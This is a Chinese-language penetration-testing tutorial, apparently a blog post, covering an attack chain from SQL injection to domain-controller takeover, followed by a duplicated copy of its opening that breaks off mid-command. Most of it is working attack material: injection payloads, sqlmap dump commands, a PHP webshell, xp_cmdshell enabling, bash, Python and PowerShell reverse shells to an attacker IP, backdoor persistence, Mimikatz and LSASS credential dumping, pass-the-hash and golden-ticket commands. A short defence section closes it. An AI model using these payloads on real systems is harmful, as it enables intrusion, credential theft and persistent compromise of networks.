1. 项目概述一次从Web漏洞到内网深处的旅程拿到这个标题很多刚入门的朋友可能会觉得“从SQL注入渗透内网”是个很遥远、很复杂的过程。其实它恰恰是实战中最经典、也最能体现渗透测试核心思路的一条路径。我干了这么多年越来越觉得渗透的本质真的就是信息搜集。这听起来像句废话但只有当你真正走完从外网一个不起眼的输入框到最终控制整个内网域控的完整链路后才会对这句话有切肤的理解。这次我就以一个虚构但高度贴近实战的场景为例拆解这条链路把每个环节“为什么这么做”以及“可能遇到什么坑”讲清楚。这不是某个特定靶场的攻略而是融合了多个实战场景比如大家常练的DVWA、Pikachu以及一些综合渗透靶机的通用性思路提炼目标是让你掌握一套可迁移的方法论而不仅仅是复现步骤。简单来说这个过程可以概括为“四步走”首先通过Web应用的SQL注入漏洞拿到数据库的访问权限这通常是我们进入内网的“敲门砖”其次利用数据库的特性或数据库服务器本身的配置问题尝试从数据库层面“跳”到操作系统层面获取一个初始的立足点即Shell然后以这个立足点为跳板开始对内网环境进行探测和信息搜集摸清网络结构、存活主机、开放服务最后基于搜集到的信息进行横向移动和权限提升最终达成控制关键资产如域控制器的目标。整个过程信息像滚雪球一样越滚越大每一步的决策都依赖于上一步的发现。下面我们就来一步步拆解。2. 核心思路与攻击链全景解析2.1 为什么SQL注入常常是内网渗透的起点在真实的网络边界防御中直接暴露在公网上的往往是Web服务器、邮件服务器、VPN网关等对外提供服务的节点。其中Web应用由于业务逻辑复杂、开发迭代快很容易出现各种漏洞SQL注入就是其中“历史悠久”但依然高危的一种。它之所以能成为内网渗透的优质起点原因有三第一直接通往数据核心。成功的SQL注入意味着攻击者可以直接与后台数据库交互。数据库里有什么不仅仅是业务数据用户账号、订单信息往往还有Web应用自身的配置信息比如数据库连接字符串、后台管理员的密码哈希、甚至其他系统的访问凭证。这些信息是后续渗透的“弹药库”。第二可能具备高权限。Web应用连接数据库使用的账户为了满足业务查询需求权限往往不低至少对当前应用的数据库有完整的读写权限。在一些配置不当的场景下这个数据库账户甚至可能拥有执行系统命令、读写文件等高级权限例如MySQL的FILE权限MSSQL的xp_cmdshell存储过程。第三位置关键。存在SQL注入的Web服务器本身就在目标网络的DMZ区或直接在内网边缘。一旦通过它获取了操作系统权限这台服务器就成了一个绝佳的“桥头堡”可以以此为据点扫描和攻击原本从外网无法直接访问的内网其他主机。所以我们的攻击链可以清晰地描绘为Web应用SQL注入 → 获取数据库权限 → 尝试数据库提权/命令执行 → 获取Web服务器操作系统Shell → 内网信息搜集 → 横向移动与权限提升。这条链路上的每一个环节都充满了与防御方的博弈。2.2 渗透测试中的“信息搜集”哲学标题里说“渗透的本质就是信息搜集”我深以为然。这不是指开局用whois、nmap扫一遍那种狭义的信息搜集而是贯穿始终的一种思维模式。在整个攻击链中我们其实只在做两件事1. 获取信息2. 利用信息获取更多信息或权限。在注入阶段我们搜集数据库版本、当前用户、数据库名、表结构、表中的数据尤其是密码哈希、配置文件内容。在获取Shell后我们搜集操作系统版本、补丁情况、安装的软件、网络接口信息、ARP表、路由表、当前用户权限、计划任务、其他用户会话等。在内网横向阶段我们搜集内网IP段、存活主机、开放端口、服务版本、域环境信息是否有域、域控IP、域用户列表、共享资源、密码复用情况等。每一个新获取的信息片段都可能成为打开下一扇门的钥匙。比如从数据库里找到了一个Tomcat管理员的弱口令可能就能拿下另一台应用服务器从Web服务器的配置文件中发现了内网数据库的IP和密码可能就直接拿到了一个更核心的数据仓库。因此整个渗透过程是一个动态的、基于反馈的循环而非线性的脚本执行。3. 第一阶段突破边界——SQL注入的深度利用3.1 手工注入与自动化工具的结合使用很多教程一上来就教sqlmap这没错效率高。但要想真正理解漏洞原理和灵活利用手工注入的能力必不可少。以最常见的字符型注入为例假设存在一个登录框用户名为注入点。手工探测与信息提取判断注入类型输入admin and 11和admin and 12观察返回差异。这是基础目的是确认漏洞存在及闭合方式。判断字段数使用order by子句admin order by 5--逐步增加数字直到报错从而确定union select时需要拼接的列数。联合查询获取信息确定字段数后假设为3可以构造admin union select version(), user(), database()--。这里一次性获取了数据库版本、当前用户、当前数据库名这些都是关键信息。提取表名和列名接下来就是查询information_schema。例如admin union select table_name, null, null from information_schema.tables where table_schemadatabase()--获取当前数据库的所有表名。找到疑似存放凭据的表如users,admin后再查询其列名admin union select column_name, null, null from information_schema.columns where table_nameusers--。拖取数据最后直接查询敏感列admin union select username, password, null from users--。注意手工注入时务必注意数据回显的位置。你的union select的字段需要与原始查询的字段类型、数量匹配并且通过改变union前的查询条件如admin and 12 union...让原始查询结果为空从而确保回显的是我们注入的数据。自动化工具sqlmap的精准利用手工注入明确了注入点和类型后sqlmap可以帮我们更快、更全面地挖掘数据。但切忌无脑跑默认参数。# 基础探测确认注入点 sqlmap -u http://target.com/login.php --datausernameadminpasswordtest --level2 --risk2 # 获取当前数据库用户和权限这对判断能否进行文件操作或命令执行至关重要 sqlmap -u http://target.com/login.php --datausernameadminpasswordtest --current-user --privileges # 如果用户有FILE权限尝试读取服务器文件如Web配置文件 sqlmap -u http://target.com/login.php --datausernameadminpasswordtest --file-read/etc/passwd # 列出所有数据库然后指定数据库拖取数据 sqlmap -u http://target.com/login.php --datausernameadminpasswordtest --dbs sqlmap -u http://target.com/login.php --datausernameadminpasswordtest -D target_db --tables sqlmap -u http://target.com/login.php --datausernameadminpasswordtest -D target_db -T users --dump实操心得在实际项目中我通常会“手自一体”。先用简单的手工测试快速确认漏洞的存在和基本类型然后用sqlmap的--batch模式进行初步的信息收集数据库、表。当遇到sqlmap跑不出来或者被WAF拦截时再回到手工分析请求和响应尝试构造绕过Payload。两者结合效率与深度兼备。3.2 从数据库到操作系统关键的一跃拿到数据库权限不是终点我们的目标是操作系统的Shell。这一步能否成功高度依赖于数据库类型、配置和权限。1. MySQL场景利用INTO OUTFILE写WebShell这是最经典的路径前提是当前数据库用户拥有FILE权限并且知道Web目录的绝对路径。-- 假设Web目录为 /var/www/html 尝试写入一个一句话木马 SELECT ?php eval($_POST[\cmd\]);? INTO OUTFILE /var/www/html/shell.php执行成功后就可以通过访问http://target.com/shell.php使用蚁剑、冰蝎等工具连接获取Web Shell。踩坑记录这里最大的坑就是路径。路径猜解不准写不进去。可以通过报错信息、读取配置文件如/etc/apache2/sites-available/000-default.conf、或者利用数据库本身的功能如MySQL的datadir来推测。另外还要注意目标系统是否有secure_file_priv限制如果该变量不为空则只能向指定目录写文件。2. Microsoft SQL Server场景启用与利用xp_cmdshell如果数据库是MSSQL且当前用户是sa或具有sysadmin角色那么xp_cmdshell存储过程就是通往系统命令的捷径。-- 首先如果xp_cmdshell被禁用需要启用它需要足够权限 EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE; -- 然后执行系统命令例如尝试反弹一个Shell EXEC xp_cmdshell powershell -c \$client New-Object System.Net.Sockets.TCPClient(\\你的IP\\,你的端口);$stream $client.GetStream();[byte[]]$bytes 0..65535|%{0};while(($i $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback (iex $data 21 | Out-String );$sendback2 $sendback \PS \ (pwd).Path \ \;$sendbyte ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\;如果防火墙出站规则允许这条命令会从MSSQL服务器向我们指定的监听端口反弹一个PowerShell Shell。3. PostgreSQL场景利用大对象LO或COPY TO写文件PostgreSQL的权限模型相对严格但仍有方法。高权限用户可以利用COPY TO或pg_largeobject来写文件。-- 方法1COPY TO (需要超级用户权限且对目标路径有写权限) COPY (SELECT ?php phpinfo();?) TO /var/www/html/test.php; -- 方法2利用大对象和lo_export (需要超级用户权限) SELECT lo_create(12345); INSERT INTO pg_largeobject (loid, pageno, data) VALUES (12345, 0, decode(3c3f70687020706870696e666f28293b203f3e, hex)); SELECT lo_export(12345, /var/www/html/shell.php); SELECT lo_unlink(12345);核心思路总结这一步的目标非常明确——在目标服务器上创建一个能让我们远程执行代码的文件WebShell或直接执行系统命令。成功的关键在于权限和路径信息。所有操作都围绕着我们前期从数据库里搜集到的信息展开。4. 第二阶段站稳脚跟——初始立足点的加固与信息搜集4.1 获取稳定Shell与权限维持通过WebShell拿到的初始访问往往是不稳定、低权限的。我们首先要做的是“升级”这个Shell。1. 反弹一个更稳定的ShellWebShell如一句话木马通常通过HTTP协议通信功能有限且容易被Web应用防火墙WAF或日志审计发现。我们应该尽快反弹一个到我们控制端的、功能完整的Shell如bash、powershell。在Linux上使用bash、python、perl、ncnetcat等都可以反弹。# 假设我们在192.168.1.100的4444端口监听 (nc -lvnp 4444) bash -c bash -i /dev/tcp/192.168.1.100/4444 01 # 或者用python python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.100,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);在Windows上使用PowerShell是最强大的。powershell -c $client New-Object System.Net.Sockets.TCPClient(192.168.1.100,4444);$stream $client.GetStream();[byte[]]$bytes 0..65535|%{0};while(($i $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback (iex $data 21 | Out-String );$sendback2 $sendback PS (pwd).Path ;$sendbyte ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()2. 权限提升提权拿到Shell后第一时间检查当前用户权限Linux下whoami、idWindows下whoami /groups。如果是普通用户就需要提权。Linux提权思路内核漏洞使用uname -a查看内核版本搜索对应的公开Exp如DirtyCow、CVE-2021-4034等。使用linux-exploit-suggester这类脚本可以辅助识别。SUID/GUID文件查找设置了SUID位的文件find / -perm -us -type f 2/dev/null看看是否有find、vim、bash、nmap等可以滥用。sudo权限检查sudo -l看当前用户能以root身份无需密码运行哪些命令。计划任务/服务检查crontab -l、systemctl list-unit-files --typeservice看是否有权限修改的任务或服务。Windows提权思路系统信息systeminfo查看系统版本、补丁用wesng等工具快速识别缺失的补丁和对应的漏洞。服务权限使用accesschk.exe或PowerUp.ps1脚本检查是否有服务配置不当如可修改的二进制文件路径、弱权限的服务目录。AlwaysInstallElevated检查注册表项如果启用任何MSI文件都以SYSTEM权限安装。令牌模拟在域环境下检查是否有机会进行令牌窃取如使用incognito或Rotten Potato系列漏洞。3. 权限维持后门为了防止管理员修改密码或重启服务导致我们失联需要种植后门。Linux添加SSH密钥到/root/.ssh/authorized_keys或/home/user/.ssh/authorized_keys创建具有SUID位的后门二进制文件修改/etc/passwd添加一个UID为0的用户或者创建计划任务cron job。Windows创建隐藏用户并加入管理员组注册表添加启动项创建计划任务部署Meterpreter的持久化Payload或者使用WMI事件订阅。重要提示在授权测试中权限维持的方式和位置需要与客户明确约定。在非授权环境中此行为违法。4.2 以立足点为中心的内网信息搜集拿到一个稳定的、最好是高权限的Shell后我们正式从“外部攻击者”转变为“内部威胁”。此时的信息搜集是系统性的。1. 网络环境侦察查看本机网络配置# Linux ifconfig / ip addr route -n # 查看路由表 cat /etc/resolv.conf # 查看DNS服务器DNS服务器很可能是域控 arp -a # 查看ARP缓存发现同一网段的其他主机 netstat -antup # 查看网络连接和监听端口# Windows ipconfig /all route print arp -a netstat -ano探测内网网段根据本机IP如192.168.10.5和子网掩码如255.255.255.0可以推断出本网段是192.168.10.0/24。但内网可能有多个网段。可以查看路由表或者尝试扫描常见的B类内网段172.16.0.0/1210.0.0.0/8。2. 主机信息搜集系统与用户信息# Linux uname -a # 内核信息 cat /etc/*-release # 发行版信息 cat /etc/passwd # 用户列表 cat /etc/shadow # 密码哈希需要root history # 命令历史可能包含密码、路径等# Windows systeminfo net user # 本地用户 net localgroup administrators net user /domain # 域用户如果加入域 net group domain admins /domain # 域管理员组进程与服务信息查看有哪些服务在运行特别是安全软件、运维管理工具等。文件与目录扫描寻找配置文件.conf,.ini,.xml、日志文件、备份文件、数据库文件、源代码、包含密码的脚本等。重点关注Web目录、用户家目录、/tmp、C:\Users\等位置。3. 域环境判断与信息搜集如果存在如果ipconfig /all显示有DNS后缀或者net user /domain命令成功执行说明主机加入了域。获取域基本信息net view /domain # 查看域列表 net view /domain:域名 # 查看域内机器列表可能不全 nltest /dclist:域名 # 获取域控制器列表使用PowerShell进行更深入的域信息搜集需要相应权限# 导入PowerView模块 Import-Module .\PowerView.ps1 # 获取域内所有计算机 Get-NetComputer # 获取域内所有用户 Get-NetUser # 获取域内所有组 Get-NetGroup # 获取域策略 Get-DomainPolicy信息搜集清单建议将以上命令的输出结果系统性地保存下来整理成表格例如信息类别命令/方法获取结果示例潜在利用价值本机IP/网段ipconfig / ifconfig192.168.10.5/24确定扫描范围路由信息route print / route -n10.10.0.0/16 via 192.168.10.1发现其他网段DNS服务器/etc/resolv.conf/ipconfig /all192.168.10.2可能是域控IPARP缓存arp -a192.168.10.1, 192.168.10.100发现活跃主机当前用户/权限whoami / idroot/域\域管理员决定下一步动作域成员信息net user /domain成功列出域用户确认域环境开始域渗透5. 第三阶段横向移动——在内网中扩大战果5.1 存活主机与端口扫描有了初步的网络拓扑信息后下一步就是发现内网中其他存活的主机及其开放的服务。由于我们已经在内网可以绕过边界防火墙的严格限制。1. 使用内置工具进行轻量扫描ICMP Ping扫描快速发现存活主机。但很多内网主机可能禁Ping。# Linux for i in {1..254}; do ping -c 1 -W 1 192.168.10.$i | grep bytes from done # Windows PowerShell 1..254 | % {Test-Connection -Count 1 -Delay 1 192.168.10.$_ -ErrorAction SilentlyContinue}ARP扫描在二层网络中更准确、更隐蔽。# 需要安装nmap或arp-scan arp-scan --localnet # 或者用nmap nmap -sn -PR 192.168.10.0/24端口扫描针对发现的IP或整个网段进行端口扫描发现开放服务。# 快速扫描常见1000个端口 nmap -sS -T4 192.168.10.0/24 --open # 全端口扫描慢但全面 nmap -sS -T4 -p- 192.168.10.100 # 服务版本探测 nmap -sS -sV -T4 192.168.10.1002. 利用已控主机作为扫描代理如果目标内网有多个网段而我们控制的“跳板机”恰好有多个网卡或者路由可达我们可以用它作为扫描的起点。可以将扫描工具如nmap的静态编译版上传到跳板机执行或者使用SOCKS代理将我们的攻击机流量代理进内网。实操心得内网扫描要讲究节奏和隐蔽性。不要一上来就全端口疯狂扫描容易被IDS/IPS发现。可以先进行小范围的ICMP或ARP扫描再对存活IP进行低频度的常见端口扫描。同时注意扫描流量是否会被同一网段的其他安全设备如HIDS记录。5.2 服务漏洞利用与密码攻击扫描结果会列出大量开放端口如445(SMB)、3389(RDP)、22(SSH)、1433(MSSQL)、3306(MySQL)、5985/5986(WinRM)等。我们需要对这些服务进行针对性测试。1. 针对常见服务的漏洞利用SMB (445端口)检查是否存在永恒之蓝MS17-010漏洞使用msfconsole的exploit/windows/smb/ms17_010_eternalblue模块。或者检查是否启用了SMB签名在域环境中常被禁用为后续的中间人攻击做准备。RDP (3389端口)检查是否有已知的RDP漏洞如CVE-2019-0708 蓝屏漏洞。更常见的是尝试暴力破解或密码喷洒攻击。如果拿到了一个用户的密码尝试RDP登录图形化界面操作更方便。WinRM (5985/5986端口)如果启用且配置了基本认证可以尝试使用crackmapexec或evil-winrm进行密码攻击或连接。数据库服务尝试用之前从Web应用数据库里找到的密码去连接内网的其他数据库密码复用很常见。对于MSSQL再次尝试xp_cmdshell。2. 密码攻击爆破与喷洒内网渗透中密码往往是突破口。攻击方式主要有两种密码爆破针对单个用户用庞大的密码字典进行尝试。风险高易触发账户锁定策略。密码喷洒针对多个用户使用少数几个常用密码如CompanyName2023,Welcome123,SeasonYear进行尝试。风险相对较低不易触发锁定。工具推荐CrackMapExec内网渗透神器支持SMB、WinRM、MSSQL、SSH等多种协议的密码喷洒和凭证传递攻击。# SMB密码喷洒 crackmapexec smb 192.168.10.0/24 -u userlist.txt -p Spring2024! --continue-on-success # 使用已获取的哈希进行传递哈希攻击 crackmapexec smb 192.168.10.0/24 -u administrator -H NTLM哈希 --local-authMedusa/Hydra老牌的多协议爆破工具。Kerbrute专门针对Kerberos预认证的域用户密码喷洒工具效率高。3. 凭证窃取与转储如果我们已经获取了一台Windows主机的管理员权限可以尝试从内存中转储密码哈希或明文密码。Mimikatz最著名的工具。需要管理员或SYSTEM权限。privilege::debug # 提升权限 sekurlsa::logonpasswords # 从内存中提取密码和哈希 lsadump::sam # 从SAM数据库中提取本地账户哈希 lsadump::dcsync /domain:目标域 /user:域管理员 # 从域控同步指定用户凭据需要域管理员权限Procdump Mimikatz离线分析如果直接运行Mimikatz被AV拦截可以用微软官方工具Procdump将lsass.exe进程的内存转储下来下载到本地用Mimikatz分析。procdump.exe -accepteula -ma lsass.exe lsass.dmp其他工具LaZagne可以获取多种软件保存的密码。5.3 横向移动的经典模式传递哈希与票据传递在Windows域环境中尤其是旧版本或配置不严格的环境中两种攻击方式非常有效1. 传递哈希NTLM认证过程中服务器验证的是用户密码的哈希值而非密码本身。因此如果我们获取了某个用户的NTLM哈希例如通过Mimikatz即使不知道明文密码也可以使用这个哈希向其他服务进行身份验证。适用场景SMB、WinRM、RDP受限需要开启“受限管理模式”、MSSQL等协议。工具使用# 使用CrackMapExec进行SMB的Pass-the-Hash crackmapexec smb 192.168.10.20 -u administrator -H NTLM哈希 --local-auth # 使用pth-winexe获取一个交互式Shell pth-winexe -U administrator%LM哈希:NTLM哈希 //192.168.10.20 cmd.exe2. 票据传递Kerberos是Windows域默认的认证协议。用户登录后域控会颁发一个TGT票据。如果我们能获取到其他用户的TGT票据通常是高权限用户就可以冒充该用户访问域内任何服务。黄金票据需要获取krbtgt用户的NTLM哈希存储在域控上。拥有此哈希可以伪造任意用户的TGT从而访问域内任何资源权限极高。白银票据需要获取目标服务账户如CIFS$、HTTP$的NTLM哈希。可以伪造针对特定服务的ST但范围有限。工具使用Mimikatz同样可以完成票据的导出、注入和伪造。# 导出当前内存中的所有票据 sekurlsa::tickets /export # 注入一个窃取来的票据文件 kerberos::ptt [0;123456]-2-0-40e10000-Administratorkrbtgt-DOMAIN.LOCAL.kirbi # 伪造黄金票据 kerberos::golden /user:任意用户名 /domain:域名 /sid:域SID /krbtgt:krbtgt的NTLM哈希 /ptt关键点横向移动的成功率极大依赖于前期信息搜集的完整度。你知道的密码/哈希越多发现的用户越多摸清的服务越多横向移动的路径和可能性就越多。这再次印证了“渗透的本质就是信息搜集”。6. 第四阶段常见问题、排查技巧与防御思考6.1 实战中遇到的典型问题与解决思路问题1SQL注入点存在但sqlmap跑不出来手工测试有回显但复杂语句就报错或空白。可能原因存在WAFWeb应用防火墙或简单的过滤规则。排查与绕过观察拦截特征用sqlmap的--tamper参数尝试常用绕过脚本如space2comment,between,charencode等。手工FUZZ测试哪些关键词被过滤union,select,from,where,空格,引号等。尝试使用大小写混合、双写关键字UNunionION、内联注释/*!SELECT*/、换行符%0a等方式绕过。更改请求方式GET注入不行试试POST。参数在URL里不行试试在Cookie或User-Agent头里。使用非常规语句如果union select被拦尝试基于时间的盲注或报错注入。sqlmap可以指定--techniqueBEUST布尔盲注、报错、联合、时间盲注来尝试所有技术。问题2成功写入WebShell但无法访问或访问后代码不执行。可能原因路径错误文件没有写到Web目录下。文件权限不足Web服务器用户如www-data,apache无法读取或执行。目标服务器禁用了特定函数如eval,assert或者配置了open_basedir限制。文件内容被WAF或服务器安全模块过滤/篡改。排查尝试写入一个简单的文本文件SELECT test INTO OUTFILE /path/test.txt确认路径和权限。通过数据库的load_file函数如果有权限读取刚写入的文件检查内容是否完整。尝试写入不同的WebShell变种如使用?php system($_GET[c]);?或?php echo shell_exec($_GET[cmd]);?。检查Web服务器的错误日志如/var/log/apache2/error.log寻找访问失败的线索。问题3内网扫描没有发现任何存活主机或端口。可能原因主机位于不同VLAN或网段当前跳板机没有路由。内网主机普遍禁Ping。存在主机防火墙或网络ACL阻止了扫描流量。排查仔细分析跳板机的路由表route -n/route print确认是否有到其他网段的路由。使用ARP扫描arp-scan,nmap -PR替代ICMP扫描因为ARP是二层协议只要在同一广播域就有效。尝试扫描少数几个关键端口如445, 3389, 22, 135并使用更慢的扫描速度nmap -T2。检查跳板机本身的防火墙规则是否出站被限制。问题4获取的密码哈希无法破解也无法用于传递哈希攻击。可能原因密码强度很高字典破解不了。目标系统配置了“受限管理模式”或“强制签名”阻止了传递哈希攻击。获取的是LM哈希已弃用且强度低或NTLMv1哈希而目标系统要求NTLMv2。应对尝试使用更强大的规则如hashcat的-r规则文件对哈希进行破解。如果获取的是NTLM哈希但无法PTH尝试使用sekurlsa::pth生成一个带有此哈希的新登录会话然后在这个新会话里访问网络资源。关注其他攻击面如Kerberos票据、保存的浏览器密码、配置文件中的明文密码等。6.2 从攻击者视角看防御要点经历了完整的攻击链反过来看防御思路会更清晰。防御必须层层设防因为攻击者只要突破一层就能带来威胁。Web应用层根本解决使用参数化查询预编译语句或ORM框架杜绝SQL注入产生的可能性。纵深防御对用户输入进行严格的过滤和校验。部署WAF即使存在漏洞也能增加利用难度。最小权限Web应用连接数据库的账户权限必须最小化禁止授予FILE、EXECUTE等系统级权限。操作系统与数据库层及时更新为操作系统、数据库、Web服务器等所有软件及时安装安全补丁。权限分离数据库服务、Web服务不应以root或SYSTEM等高权限账户运行。强化配置禁用数据库的危险函数和存储过程如xp_cmdshell设置严格的secure_file_priv。对Web目录设置正确的读写权限。内网安全网络分段将不同的业务系统划分到不同的VLAN或子网并配置严格的访问控制列表遵循最小权限原则。数据库服务器、域控制器等核心资产不应能从Web服务器直接访问。主机防护在所有终端和服务器上部署EDR或HIDS监控异常进程、网络连接和文件操作。身份与访问管理强制使用强密码策略并定期更换。启用账户锁定策略防止暴力破解。在域环境中启用Kerberos AES加密禁用NTLMv1启用SMB签名配置“受限管理模式”防止传递哈希。严格管理本地管理员和域管理员权限遵循最小权限原则。监控与审计集中收集和分析系统日志、安全设备日志、网络流量日志。对异常登录如非工作时间、陌生地点、横向移动行为如SMB、WMI的异常连接、特权账户的使用进行实时告警。整个从SQL注入到内网渗透的过程就像一场信息拼图游戏。每一个漏洞、每一段信息都是拼图的一块。作为防御方你的目标就是让攻击者拿不到关键的那几块拼图或者即使拿到一两块也无法拼出完整的路径。而作为学习者和实践者理解这完整的链条能让你在发现一个漏洞时看得更远想得更深真正把握住渗透测试中“信息搜集”这一贯穿始终的灵魂。
从SQL注入到内网渗透:实战攻击链深度解析与防御思考
1. 项目概述一次从Web漏洞到内网深处的旅程拿到这个标题很多刚入门的朋友可能会觉得“从SQL注入渗透内网”是个很遥远、很复杂的过程。其实它恰恰是实战中最经典、也最能体现渗透测试核心思路的一条路径。我干了这么多年越来越觉得渗透的本质真的就是信息搜集。这听起来像句废话但只有当你真正走完从外网一个不起眼的输入框到最终控制整个内网域控的完整链路后才会对这句话有切肤的理解。这次我就以一个虚构但高度贴近实战的场景为例拆解这条链路把每个环节“为什么这么做”以及“可能遇到什么坑”讲清楚。这不是某个特定靶场的攻略而是融合了多个实战场景比如大家常练的DVWA、Pikachu以及一些综合渗透靶机的通用性思路提炼目标是让你掌握一套可迁移的方法论而不仅仅是复现步骤。简单来说这个过程可以概括为“四步走”首先通过Web应用的SQL注入漏洞拿到数据库的访问权限这通常是我们进入内网的“敲门砖”其次利用数据库的特性或数据库服务器本身的配置问题尝试从数据库层面“跳”到操作系统层面获取一个初始的立足点即Shell然后以这个立足点为跳板开始对内网环境进行探测和信息搜集摸清网络结构、存活主机、开放服务最后基于搜集到的信息进行横向移动和权限提升最终达成控制关键资产如域控制器的目标。整个过程信息像滚雪球一样越滚越大每一步的决策都依赖于上一步的发现。下面我们就来一步步拆解。2. 核心思路与攻击链全景解析2.1 为什么SQL注入常常是内网渗透的起点在真实的网络边界防御中直接暴露在公网上的往往是Web服务器、邮件服务器、VPN网关等对外提供服务的节点。其中Web应用由于业务逻辑复杂、开发迭代快很容易出现各种漏洞SQL注入就是其中“历史悠久”但依然高危的一种。它之所以能成为内网渗透的优质起点原因有三第一直接通往数据核心。成功的SQL注入意味着攻击者可以直接与后台数据库交互。数据库里有什么不仅仅是业务数据用户账号、订单信息往往还有Web应用自身的配置信息比如数据库连接字符串、后台管理员的密码哈希、甚至其他系统的访问凭证。这些信息是后续渗透的“弹药库”。第二可能具备高权限。Web应用连接数据库使用的账户为了满足业务查询需求权限往往不低至少对当前应用的数据库有完整的读写权限。在一些配置不当的场景下这个数据库账户甚至可能拥有执行系统命令、读写文件等高级权限例如MySQL的FILE权限MSSQL的xp_cmdshell存储过程。第三位置关键。存在SQL注入的Web服务器本身就在目标网络的DMZ区或直接在内网边缘。一旦通过它获取了操作系统权限这台服务器就成了一个绝佳的“桥头堡”可以以此为据点扫描和攻击原本从外网无法直接访问的内网其他主机。所以我们的攻击链可以清晰地描绘为Web应用SQL注入 → 获取数据库权限 → 尝试数据库提权/命令执行 → 获取Web服务器操作系统Shell → 内网信息搜集 → 横向移动与权限提升。这条链路上的每一个环节都充满了与防御方的博弈。2.2 渗透测试中的“信息搜集”哲学标题里说“渗透的本质就是信息搜集”我深以为然。这不是指开局用whois、nmap扫一遍那种狭义的信息搜集而是贯穿始终的一种思维模式。在整个攻击链中我们其实只在做两件事1. 获取信息2. 利用信息获取更多信息或权限。在注入阶段我们搜集数据库版本、当前用户、数据库名、表结构、表中的数据尤其是密码哈希、配置文件内容。在获取Shell后我们搜集操作系统版本、补丁情况、安装的软件、网络接口信息、ARP表、路由表、当前用户权限、计划任务、其他用户会话等。在内网横向阶段我们搜集内网IP段、存活主机、开放端口、服务版本、域环境信息是否有域、域控IP、域用户列表、共享资源、密码复用情况等。每一个新获取的信息片段都可能成为打开下一扇门的钥匙。比如从数据库里找到了一个Tomcat管理员的弱口令可能就能拿下另一台应用服务器从Web服务器的配置文件中发现了内网数据库的IP和密码可能就直接拿到了一个更核心的数据仓库。因此整个渗透过程是一个动态的、基于反馈的循环而非线性的脚本执行。3. 第一阶段突破边界——SQL注入的深度利用3.1 手工注入与自动化工具的结合使用很多教程一上来就教sqlmap这没错效率高。但要想真正理解漏洞原理和灵活利用手工注入的能力必不可少。以最常见的字符型注入为例假设存在一个登录框用户名为注入点。手工探测与信息提取判断注入类型输入admin and 11和admin and 12观察返回差异。这是基础目的是确认漏洞存在及闭合方式。判断字段数使用order by子句admin order by 5--逐步增加数字直到报错从而确定union select时需要拼接的列数。联合查询获取信息确定字段数后假设为3可以构造admin union select version(), user(), database()--。这里一次性获取了数据库版本、当前用户、当前数据库名这些都是关键信息。提取表名和列名接下来就是查询information_schema。例如admin union select table_name, null, null from information_schema.tables where table_schemadatabase()--获取当前数据库的所有表名。找到疑似存放凭据的表如users,admin后再查询其列名admin union select column_name, null, null from information_schema.columns where table_nameusers--。拖取数据最后直接查询敏感列admin union select username, password, null from users--。注意手工注入时务必注意数据回显的位置。你的union select的字段需要与原始查询的字段类型、数量匹配并且通过改变union前的查询条件如admin and 12 union...让原始查询结果为空从而确保回显的是我们注入的数据。自动化工具sqlmap的精准利用手工注入明确了注入点和类型后sqlmap可以帮我们更快、更全面地挖掘数据。但切忌无脑跑默认参数。# 基础探测确认注入点 sqlmap -u http://target.com/login.php --datausernameadminpasswordtest --level2 --risk2 # 获取当前数据库用户和权限这对判断能否进行文件操作或命令执行至关重要 sqlmap -u http://target.com/login.php --datausernameadminpasswordtest --current-user --privileges # 如果用户有FILE权限尝试读取服务器文件如Web配置文件 sqlmap -u http://target.com/login.php --datausernameadminpasswordtest --file-read/etc/passwd # 列出所有数据库然后指定数据库拖取数据 sqlmap -u http://target.com/login.php --datausernameadminpasswordtest --dbs sqlmap -u http://target.com/login.php --datausernameadminpasswordtest -D target_db --tables sqlmap -u http://target.com/login.php --datausernameadminpasswordtest -D target_db -T users --dump实操心得在实际项目中我通常会“手自一体”。先用简单的手工测试快速确认漏洞的存在和基本类型然后用sqlmap的--batch模式进行初步的信息收集数据库、表。当遇到sqlmap跑不出来或者被WAF拦截时再回到手工分析请求和响应尝试构造绕过Payload。两者结合效率与深度兼备。3.2 从数据库到操作系统关键的一跃拿到数据库权限不是终点我们的目标是操作系统的Shell。这一步能否成功高度依赖于数据库类型、配置和权限。1. MySQL场景利用INTO OUTFILE写WebShell这是最经典的路径前提是当前数据库用户拥有FILE权限并且知道Web目录的绝对路径。-- 假设Web目录为 /var/www/html 尝试写入一个一句话木马 SELECT ?php eval($_POST[\cmd\]);? INTO OUTFILE /var/www/html/shell.php执行成功后就可以通过访问http://target.com/shell.php使用蚁剑、冰蝎等工具连接获取Web Shell。踩坑记录这里最大的坑就是路径。路径猜解不准写不进去。可以通过报错信息、读取配置文件如/etc/apache2/sites-available/000-default.conf、或者利用数据库本身的功能如MySQL的datadir来推测。另外还要注意目标系统是否有secure_file_priv限制如果该变量不为空则只能向指定目录写文件。2. Microsoft SQL Server场景启用与利用xp_cmdshell如果数据库是MSSQL且当前用户是sa或具有sysadmin角色那么xp_cmdshell存储过程就是通往系统命令的捷径。-- 首先如果xp_cmdshell被禁用需要启用它需要足够权限 EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE; -- 然后执行系统命令例如尝试反弹一个Shell EXEC xp_cmdshell powershell -c \$client New-Object System.Net.Sockets.TCPClient(\\你的IP\\,你的端口);$stream $client.GetStream();[byte[]]$bytes 0..65535|%{0};while(($i $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback (iex $data 21 | Out-String );$sendback2 $sendback \PS \ (pwd).Path \ \;$sendbyte 